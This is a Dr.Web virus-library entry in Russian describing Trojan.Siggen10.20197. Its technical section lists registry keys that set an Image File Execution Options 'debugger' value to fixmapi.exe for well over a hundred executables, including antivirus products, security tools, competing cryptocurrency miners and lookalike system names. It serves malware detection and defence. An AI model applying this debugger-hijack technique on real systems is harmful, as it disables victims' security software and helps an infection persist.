Защити созданное

Другие наши ресурсы

  • free.drweb.ru — бесплатные утилиты, плагины, информеры
  • av-desk.com — интернет-сервис для поставщиков услуг Dr.Web AV-Desk
  • curenet.drweb.ru — сетевая лечащая утилита Dr.Web CureNet!
  • www.drweb.ru/web-iq — ВебIQметр
Закрыть

Библиотека
Моя библиотека

Чтобы добавить ресурс в библиотеку, войдите в аккаунт.

+ Добавить в библиотеку

Ресурсов: -

Последний: -

Моя библиотека

Поддержка
Круглосуточная поддержка

Позвоните

Бесплатно по России:
8-800-333-79-32

ЧаВо | Форум

Ваши запросы

  • Все: -
  • Незакрытые: -
  • Последний: -

Позвоните

Бесплатно по России:
8-800-333-79-32 | Skype

Свяжитесь с нами Незакрытые запросы: 

Профиль

Профиль

Trojan.Siggen10.20197

Добавлен в вирусную базу Dr.Web: 2020-09-14

Описание добавлено:

Техническая информация

Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\payload.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\player.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ANTIVIR▄.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msdcsc.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\systemsmss.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svnhost.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\3306.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BusinessMessaging.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Adguard.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AdguardSvc.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NsCpuapl.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\hale.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PanGPS.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PanGPA.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ToolbarUpdaterService.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmdagent.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\CisTray.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\EthDcrMiner64.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\minergate.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\snmptrap.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\conhostgui.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemNT.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchsot.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\acs.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\swdoctor.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Mrolsmc.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winup.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Hkufhbj.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinApp.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Spred.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wwmeeg.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mark.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Miner.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\a2start.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\a2service.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QHWatchdog.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QHActiveDefense.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\a1g.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\skying.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cpuminer_x64_SSE2.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NiceHashMiner.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\HpSrv.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\klvk.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\uistub.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\VIRITSVC.EXE] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sdhelp.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Photo.scr] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\javal.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\hostdl.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ITbrain_AntiMalware_Service.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Defender.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\volumedisk.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sysdisk.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rkfree.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rfusclient.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\JavaUpdater.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MicroMiner.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mworker.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\host32.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinHide.SB.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Fiddlere.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vercls.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SmadavProtect32.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\network-update.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\frog.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MtxHotPlugService.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BullGuardBhvScanner.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BullGuardUpdate.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BullGuardScanner.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wnhelp.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NsCpuCNMiner32.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cavwp.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dmdjmg.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\csrs.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\atiecla.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\a2guard.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Win_Updater.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spooIsv.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spools.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NTTacP.EXE] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iimaia.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NetTraffic.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\scriptrap.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemTask.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemTaskinfo.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winer.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DeskLock.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NetTimeService.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\gcclient.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wmiapsvr.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MONITOR.EXE] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Search.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Systmss.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QHSafeTray.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mbarw.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mbamscheduler.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MBAMService.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\windows.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SDUpdSvc.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SDWSCSvc.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\webisida.browser.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dmhelpserver.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SDFSSvc.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\securesurf.browser.client.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Realmon.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\InoTask.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\InoRT.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\InoRPC.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\igateway.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TeaTimer.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PAUI.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ccSvcHst.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\StSess.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\V3Lite.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SDUpdate.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MPK.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Antivirus_Free_Edition_x86.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Javaj.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\scclient.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Terms.EXE] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PSUAMain.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\skrolls.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BrowserManagerShow.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BrowserManager.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BrowserManagerGUI.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\jixlea.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsvc.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KasAVSrv.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ByteFence.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lass.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sys.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\CpService.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svcohst.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchots.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Project1.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpkL64.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\aawservice.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msinfo.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\hmac.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ytbrowser.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchos.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Vip Slow.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winlock.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vcsvc.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vcsvcc.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\V3SP.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ingloca.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sessmgr.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rvlkl.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LP.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\updata.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winlogon.exe(1)] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SFAUpdater.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dwmr.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\windrvs.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchost.com] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\gy.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WRSA.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Systms.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ytpumpchrome.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rutserv.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LoadStat.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QuikProtect.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Wiswqcs.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Logo.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sgbider.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DTLEP.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\csrsc.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AdAwareTray.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\THGuard.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BullGuard.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NetGoodBar.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchobst.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\systrays.exe] 'debugger' = 'fixmapi.exe'
